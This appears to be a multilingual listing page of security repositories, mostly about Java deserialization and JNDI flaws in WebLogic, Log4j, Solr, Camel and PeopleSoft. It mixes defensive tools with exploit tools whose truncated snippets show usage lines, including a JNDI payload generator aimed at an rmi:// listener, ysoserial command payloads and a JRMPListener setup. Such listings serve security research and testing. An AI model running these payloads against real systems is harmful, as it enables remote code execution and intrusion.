CVE-2018-3191

Generador de payload CVE-2018-3191 Descarga: https://github.com/voidfyoo/CVE-2018-3191/releases Uso java -jar weblogic-spring-jndi.jar p. ej.: java -jar weblogic-spring-jndi.jar rmi://192.168.1.1:1099/Exp Notas weblogic-spring-jndi-12.2.1.3.jar para weblogic: 12.2.1.3...

SECURITY-3430

Solución para SECURITY-3430 Este es un agente Java para usar con controladores de Jenkins que no tienen la corrección para SECURITY-3430 es decir, hasta 2.470 inclusive y LTS 2.452.3. Mecanismo y compatibilidad Transforma la definición de la clase que contiene la vulnerabilidad SECURITY-3430 para...

how-to-check-patch-secure-log4j-CVE-2021-44228

Cómo comprobar log4j CVE-2021-44228 ¿Qué es log4j ? LOG4J es un software Apache de código abierto basado en Java utilizado para servicios de registro. ¿Qué es la vulnerabilidad log4j CVE-2021-44228 ? La vulnerabilidad Log4j permite la ejecución remota de código con solo escribir una cadena...

DVHMA

DVHMA Damn Vulnerable Hybrid Mobile App（DVHMA）是一款 故意 包含漏洞的混合移动应用（适用于 Android）。其目的是让安全专业人员能够合法地测试他们的工具和技术，帮助开发者更好地理解在安全开发混合移动应用时的常见陷阱。 动机与范围 开发此应用旨在研究开发混合应用（例如使用 Apache Cordova 或 SAP Kapsel）时的安全隐患。目前，主要焦点是深入理解利用 JavaScript 到 Java 桥接的注入漏洞。 安装 前提条件 我们假设您已安装： Android...

-CVE-2017-10271-

-CVE-2017-10271- CVE-2017-10271Java反序列化漏洞 Java反序列化漏洞利用工具V1.0 Java反序列化相关漏洞的检查工具，采用JDK 1.8版本开发，软件允许必须安装JDK 1.8或者以上版本。...

java-remote-class-loader

此工具允许您以类文件的形式将 Java 字节码发送给客户端（或潜在目标），通过 Java ClassLoader 和 Reflect API 加载并执行。客户端接收来自服务器的类文件，并返回相应的执行输出。载荷必须用 Java 编写，并在启动服务器前编译完成。 功能特性 客户端-服务器架构 Java 类文件的远程加载 传输中加密（使用 ChaCha20 密码） 通过参数进行设置 保活机制：服务器重启后重新建立通信 安装 该工具已在 Windows 和 Linux（zip 便携版）上使用 OpenJDK 11 及 JRE Java 包进行了测试。 由于依赖关系，Java 版本应为 11...

java-remote-class-loader

This tool allows you to send Java bytecode in the form of class files to your clients or potential targets to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written ...

ESAPI__esapi-java-legacy_CVE-2022-23457_2-2-3-1

Enterprise Security API para Java Legacy OWASP® ESAPI OWASP Enterprise Security API es una biblioteca gratuita y de código abierto de controles de seguridad para aplicaciones web que facilita a los programadores la escritura de aplicaciones de menor riesgo. La biblioteca ESAPI para Java está...

CVE-2019-12409

CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true" Enables log rotati...

bradamsa

Bradamsa Bradamsa is a Burp Suite extension for Radamsa, a well-known fuzzer made by the Oulu University Secure Programming Group. Inspired by burp-radamsa, this plugin allows to generate Intruder payloads using Radamsa. Download the latest release from HERE. Mix Burp Suite + Radamsa and you get...

bradamsa

Bradamsa Bradamsa es una extensión de Burp Suite para Radamsa, un conocido fuzzer creado por el Oulu University Secure Programming Group. Inspirado en burp-radamsa, este plugin permite generar payloads de Intruder usando Radamsa. Descarga la última versión desde AQUÍ. ¡Mezcla Burp Suite + Radamsa...

CVE-2026-40860

camel-jms JMS ObjectMessage 不安全反序列化复现工具 CVE-2026-40860 本项目演示了 Apache Camel 的 camel-jms 组件中存在的 Java 反序列化漏洞 （并间接影响 camel-sjms、camel-sjms2、camel-amqp、camel-activemq、camel-activemq6），该漏洞被跟踪为 CVE-2026-40860 。JmsBinding.extractBodyFromJms 方法在处理传入的 JMS ObjectMessage 时，通过 ObjectMessage.getObject...

CVE-2018-3245

CVE-2018-3245 Paso 1 java -jar ysoserial-cve-2018-3245.jar WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator About This tool allows you to verify whether a simple Java web app is vulnerable to CVE-2021-44228 for a user provided version of Java and of Log4J. You can also optionally apply one of a view pre-defined mitigations. The simulation lab spun up by...

CVE-2025-30065

💥 CVE-2025-30065 - Parquet Deserialization PoC This project demonstrates a safe proof-of-concept for CVE-2025-30065 using Apache Parquet and Java deserialization. When a Parquet file containing a serialized Java object is read, the payload executes a visible command to prove code execution. 📦 Usa...

ehids-agent

English | 中文介绍 eHIDS 介绍 eBPF内核技术实现的HIDS demo. Warning 只是一个基于eBPF的DEMO，作者无精力维护更新。请使用其他基于ebpf的产品代替，比如 Tetragon / Tracee / falco 。 功能实现： 1. TCP网络数据捕获 2. UDP网络数据捕获 3. uprobe方式的DNS信息捕获 4. 进程数据捕获 5. uprobe方式实现JAVA的RASP命令执行场景事件捕获 6. eBPF的go框架实现，针对kprobe\uprobe挂载方式，多类型event进行抽象实现。 7...

CVE-2017-10366_peoplesoft

CVE-2017-10366: Exploit de deserialización Java de Oracle PeopleSoft 8.54, 8.55, 8.56 Este script automatiza la explotación de una vulnerabilidad de deserialización Java en Oracle PeopleSoft, descubierta originalmente por Vahagn Vardanyan. Este exploit requiere ysoserial.jar para generar payloads...

JavaDeserialization

java反序列化漏洞检测 针对类似CVE-2017-10271漏洞的一个java反序列化漏洞扫描器，此项目中只有一个poc，其他暂时未做整理。 安装 1. 安装nmap ​ https://nmap.org/download.html 根据操作系统的不同，下载不同的版本安装。 2. 安装第三方包 pip install -r requirements.txt 3. 扫描 修改poc，将ping命令中的ip地址改为自己的ip地址 修改第25行sniff代码 snifffilter='icmp and yourIP',prn=packetcallback javascan.py -i IP地...

ParrotNG

ParrotNG ParrotNG es una herramienta capaz de identificar aplicaciones Adobe Flex SWF vulnerables a CVE-2011-2461. Para más detalles, consulte las diapositivas de nuestra charla en Troopers 2015. Descargue la última versión desde AQUÍ. Características Escrito en Java, basado en swfdump Un JAR, do...

CVE-2018-2628

CVE-2018-2628 A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. CVE-2018-2628漏洞复现详细步骤： 0x01 在JRMPListener主机上运行以下命令： wget https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jar java -cp ysoserial.jar ysoserial.exploit.JRMPListener...